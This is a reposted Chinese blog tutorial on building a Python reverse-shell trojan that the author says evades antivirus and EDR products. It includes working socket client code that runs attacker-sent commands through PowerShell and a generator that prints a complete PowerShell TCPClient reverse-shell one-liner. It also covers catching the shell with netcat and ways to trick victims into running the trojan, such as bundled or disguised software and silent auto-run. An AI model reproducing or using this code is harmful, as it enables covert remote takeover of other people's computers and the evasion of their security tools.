ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

python 实现nc功能 免杀案例——的确可以绕过奇安信,defender这些edr

2022-08-01 17:00:10  阅读:222  来源: 互联网

标签:免杀 python ip 代码 nc server port 木马 powershell



这里仅用反弹powershell演示,大家可以发挥脑洞

自创反弹shell免杀五部曲:

  • 1:确定想法

  • 2:实现框架

  • 3:增加保护

  • 4:启动木马

  • 5:维持会话或提权

1|2一,确定想法

  • 用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

  • 最后执行在会话中执行恶意命令来获取一个稳定的powershell

  • 记:控制端两次使用的端口不能相同


1|3二,实现框架

这里我们需要两个文件

  • 受害者运行的恶意程序

  • 在第一个会话中执行代码的生成器

受害者运行的恶意程序编写

1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

木马的代码:

(注:可以用pyinstaller转换为exe)

  import os
  import time
  import socket
  '''################'''
  server_ip = '' # 更改为控制端的IP
  server_port = 13524 # 更改为控制端的第一PORT
  '''################'''
   
  mod = '''powershell -nop -c "{0}"'''
  s = socket.socket()
   
  while True:
  try:
  s.connect((server_ip, server_port))
  break
  except:
  time.sleep(3)
  while True:
  s.send(b'[Powershell:->')
  cmd = s.recv(1024).decode()
  s.send(os.popen(mod.format(cmd)).read().encode())
   
  s.close()

现在我们还需一个在第一个会话中执行代码的生成器

1|4推荐参考Reverse Shell Generator 反弹shell生成

这里放出代码及使用方法

  import sys
  server_ip = sys.argv[1]
  server_port_second = sys.argv[2]
  print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second)
  print('复制代码在nc中运行:')
  print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
  print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

弹回的执行代码 复制

  • e.g. python3 creative.py 127.0.0.1 12212

1|5三:增加保护

作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

这里不细讲,可以看看crow在B站的视频

1|6四:启动木马

想办法让受害者运行木马,这里举几个思路

  • 1. 捆绑软件
  • 2. 伪装软件
  • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
  • 4. 渗透内网
  • 5. 调用漏洞

当受害者运行木马后

我们自然得到第一个会话

e.g. [Powershell:->

接着在里面输入复制好的代码并回车


2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

2|1五:维持会话或提权

2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell

2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):

标签:免杀,python,ip,代码,nc,server,port,木马,powershell
来源: https://www.cnblogs.com/bonelee/p/16540920.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有